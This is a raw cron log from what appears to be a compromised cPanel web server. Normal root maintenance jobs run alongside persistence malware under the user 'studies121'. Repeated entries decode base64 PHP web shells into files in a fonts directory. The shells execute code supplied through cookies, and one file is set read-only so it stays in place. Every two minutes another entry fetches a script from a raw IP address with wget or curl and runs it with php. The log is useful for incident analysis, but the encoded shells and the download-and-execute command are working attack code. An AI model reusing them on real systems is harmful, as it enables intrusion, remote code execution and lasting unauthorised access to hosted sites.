Sep  5 08:46:01 ip-184-168-122-23 CROND[12159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:46:01 ip-184-168-122-23 CROND[12160]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:46:01 ip-184-168-122-23 CROND[12165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:46:01 ip-184-168-122-23 CROND[12162]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 08:46:01 ip-184-168-122-23 CROND[12161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:46:01 ip-184-168-122-23 CROND[12166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:47:01 ip-184-168-122-23 CROND[12269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:47:01 ip-184-168-122-23 CROND[12270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:47:01 ip-184-168-122-23 CROND[12271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:47:01 ip-184-168-122-23 CROND[12273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:48:01 ip-184-168-122-23 CROND[12361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:48:01 ip-184-168-122-23 CROND[12365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:48:01 ip-184-168-122-23 CROND[12363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:48:01 ip-184-168-122-23 CROND[12364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:48:01 ip-184-168-122-23 CROND[12366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:49:01 ip-184-168-122-23 CROND[12568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:49:01 ip-184-168-122-23 CROND[12570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:49:01 ip-184-168-122-23 CROND[12572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:49:01 ip-184-168-122-23 CROND[12573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12686]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12697]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:50:01 ip-184-168-122-23 CROND[12698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:50:01 ip-184-168-122-23 CROND[12694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:51:01 ip-184-168-122-23 CROND[12814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:51:01 ip-184-168-122-23 CROND[12815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:51:01 ip-184-168-122-23 CROND[12816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:51:01 ip-184-168-122-23 CROND[12817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:52:01 ip-184-168-122-23 CROND[12934]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:52:01 ip-184-168-122-23 CROND[12936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:52:01 ip-184-168-122-23 CROND[12937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:52:01 ip-184-168-122-23 CROND[12938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:52:01 ip-184-168-122-23 CROND[12939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:53:01 ip-184-168-122-23 CROND[13045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:53:01 ip-184-168-122-23 CROND[13044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:53:01 ip-184-168-122-23 CROND[13043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:53:01 ip-184-168-122-23 CROND[13046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:54:01 ip-184-168-122-23 CROND[13147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:54:01 ip-184-168-122-23 CROND[13148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:54:01 ip-184-168-122-23 CROND[13149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:54:01 ip-184-168-122-23 CROND[13151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:54:01 ip-184-168-122-23 CROND[13150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:55:01 ip-184-168-122-23 CROND[13321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:55:01 ip-184-168-122-23 CROND[13322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:55:01 ip-184-168-122-23 CROND[13327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:55:01 ip-184-168-122-23 CROND[13326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:55:01 ip-184-168-122-23 CROND[13329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:55:01 ip-184-168-122-23 CROND[13330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:56:01 ip-184-168-122-23 CROND[13427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:56:01 ip-184-168-122-23 CROND[13428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:56:01 ip-184-168-122-23 CROND[13429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:56:01 ip-184-168-122-23 CROND[13431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:56:01 ip-184-168-122-23 CROND[13430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:57:01 ip-184-168-122-23 CROND[13537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:57:01 ip-184-168-122-23 CROND[13539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:57:01 ip-184-168-122-23 CROND[13541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:57:01 ip-184-168-122-23 CROND[13542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:58:01 ip-184-168-122-23 CROND[13619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:58:01 ip-184-168-122-23 CROND[13621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
